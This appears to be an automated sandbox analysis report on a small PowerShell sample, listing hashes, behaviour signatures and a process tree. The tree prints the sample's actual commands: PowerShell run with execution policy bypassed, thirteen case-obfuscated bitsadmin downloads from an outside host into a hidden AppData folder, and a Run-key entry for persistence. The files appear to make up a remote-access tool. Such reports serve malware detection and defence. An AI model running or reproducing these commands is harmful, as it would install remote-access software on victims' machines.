Analysis
-
max time kernel
122s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
24-01-2024 02:36
Static task
static1
Behavioral task
behavioral1
Sample
new 1.ps1
Resource
win7-20231215-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
new 1.ps1
Resource
win10v2004-20231215-en
8 signatures
150 seconds
General
-
Target
new 1.ps1
-
Size
2KB
-
MD5
164fa80eb15e670539783d577140c0e8
-
SHA1
316d04c9a545bf48580a58750d8cfe0d7e3f6080
-
SHA256
be819fd3ceef5b47fd3f1b3a84812db1cef8297e6eb3372e06134d3517e68297
-
SHA512
73aa708d74e2b6862f61c1344ce6f18576400c5616332669f27e6fa8d255fc4ebee50e3b77dd408d6c772641907dee92dc979e505366b3d5ce952928bfadeb35
Score
6/10
Malware Config
Signatures
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Windows\CurrentVersion\Run\aragdrts = "C:\\Users\\Admin\\AppData\\Roaming\\aragdrts\\client32.exe" powershell.exe -
Download via BitsAdmin 1 TTPs 13 IoCs
Processes:
bitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exepid process 2744 bitsadmin.exe 2176 bitsadmin.exe 1612 bitsadmin.exe 764 bitsadmin.exe 296 bitsadmin.exe 1876 bitsadmin.exe 584 bitsadmin.exe 2836 bitsadmin.exe 2604 bitsadmin.exe 2584 bitsadmin.exe 2828 bitsadmin.exe 2632 bitsadmin.exe 1968 bitsadmin.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2368 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2368 powershell.exe -
Suspicious use of WriteProcessMemory 39 IoCs
Processes:
powershell.exedescription pid process target process PID 2368 wrote to memory of 2836 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2836 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2836 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2744 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2744 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2744 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2584 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2584 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2584 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2828 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2828 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2828 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2604 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2604 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2604 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2176 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2176 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2176 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 1612 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 1612 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 1612 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2632 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2632 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 2632 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 764 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 764 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 764 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 296 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 296 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 296 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 1968 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 1968 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 1968 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 1876 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 1876 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 1876 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 584 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 584 2368 powershell.exe bitsadmin.exe PID 2368 wrote to memory of 584 2368 powershell.exe bitsadmin.exe
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\new 1.ps1"1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Windows\system32\bitsadmin.exe"C:\Windows\system32\bitsadmin.exe" /trAnSFER lyq4XY5i /doWnLOaD /pRioritY NoRmAl https://core-click.net/TVFrontend/mock/HTCTL32.DLL C:\Users\Admin\AppData\Roaming\aragdrts\HTCTL32.DLL2⤵
- Download via BitsAdmin
PID:2836 -
C:\Windows\system32\bitsadmin.exe"C:\Windows\system32\bitsadmin.exe" /trAnSFER lyq4XY5i /doWnLOaD /pRioritY NoRmAl https://core-click.net/TVFrontend/mock/nsm_vpro.ini C:\Users\Admin\AppData\Roaming\aragdrts\nsm_vpro.ini2⤵
- Download via BitsAdmin
PID:2744 -
C:\Windows\system32\bitsadmin.exe"C:\Windows\system32\bitsadmin.exe" /trAnSFER lyq4XY5i /doWnLOaD /pRioritY NoRmAl https://core-click.net/TVFrontend/mock/client32.ini C:\Users\Admin\AppData\Roaming\aragdrts\client32.ini2⤵
- Download via BitsAdmin
PID:2584 -
C:\Windows\system32\bitsadmin.exe"C:\Windows\system32\bitsadmin.exe" /trAnSFER lyq4XY5i /doWnLOaD /pRioritY NoRmAl https://core-click.net/TVFrontend/mock/client32.exe C:\Users\Admin\AppData\Roaming\aragdrts\client32.exe2⤵
- Download via BitsAdmin
PID:2828 -
C:\Windows\system32\bitsadmin.exe"C:\Windows\system32\bitsadmin.exe" /trAnSFER lyq4XY5i /doWnLOaD /pRioritY NoRmAl https://core-click.net/TVFrontend/mock/pcicapi.dll C:\Users\Admin\AppData\Roaming\aragdrts\pcicapi.dll2⤵
- Download via BitsAdmin
PID:2604 -
C:\Windows\system32\bitsadmin.exe"C:\Windows\system32\bitsadmin.exe" /trAnSFER lyq4XY5i /doWnLOaD /pRioritY NoRmAl https://core-click.net/TVFrontend/mock/nskbfltr.inf C:\Users\Admin\AppData\Roaming\aragdrts\nskbfltr.inf2⤵
- Download via BitsAdmin
PID:2176 -
C:\Windows\system32\bitsadmin.exe"C:\Windows\system32\bitsadmin.exe" /trAnSFER lyq4XY5i /doWnLOaD /pRioritY NoRmAl https://core-click.net/TVFrontend/mock/NSM.LIC C:\Users\Admin\AppData\Roaming\aragdrts\NSM.LIC2⤵
- Download via BitsAdmin
PID:1612 -
C:\Windows\system32\bitsadmin.exe"C:\Windows\system32\bitsadmin.exe" /trAnSFER lyq4XY5i /doWnLOaD /pRioritY NoRmAl https://core-click.net/TVFrontend/mock/msvcr100.dll C:\Users\Admin\AppData\Roaming\aragdrts\msvcr100.dll2⤵
- Download via BitsAdmin
PID:2632 -
C:\Windows\system32\bitsadmin.exe"C:\Windows\system32\bitsadmin.exe" /trAnSFER lyq4XY5i /doWnLOaD /pRioritY NoRmAl https://core-click.net/TVFrontend/mock/remcmdstub.exe C:\Users\Admin\AppData\Roaming\aragdrts\remcmdstub.exe2⤵
- Download via BitsAdmin
PID:764 -
C:\Windows\system32\bitsadmin.exe"C:\Windows\system32\bitsadmin.exe" /trAnSFER lyq4XY5i /doWnLOaD /pRioritY NoRmAl https://core-click.net/TVFrontend/mock/PCICL32.DLL C:\Users\Admin\AppData\Roaming\aragdrts\PCICL32.DLL2⤵
- Download via BitsAdmin
PID:296 -
C:\Windows\system32\bitsadmin.exe"C:\Windows\system32\bitsadmin.exe" /trAnSFER lyq4XY5i /doWnLOaD /pRioritY NoRmAl https://core-click.net/TVFrontend/mock/TCCTL32.DLL C:\Users\Admin\AppData\Roaming\aragdrts\TCCTL32.DLL2⤵
- Download via BitsAdmin
PID:1968 -
C:\Windows\system32\bitsadmin.exe"C:\Windows\system32\bitsadmin.exe" /trAnSFER lyq4XY5i /doWnLOaD /pRioritY NoRmAl https://core-click.net/TVFrontend/mock/AudioCapture.dll C:\Users\Admin\AppData\Roaming\aragdrts\AudioCapture.dll2⤵
- Download via BitsAdmin
PID:1876 -
C:\Windows\system32\bitsadmin.exe"C:\Windows\system32\bitsadmin.exe" /trAnSFER lyq4XY5i /doWnLOaD /pRioritY NoRmAl https://core-click.net/TVFrontend/mock/PCICHEK.DLL C:\Users\Admin\AppData\Roaming\aragdrts\PCICHEK.DLL2⤵
- Download via BitsAdmin
PID:584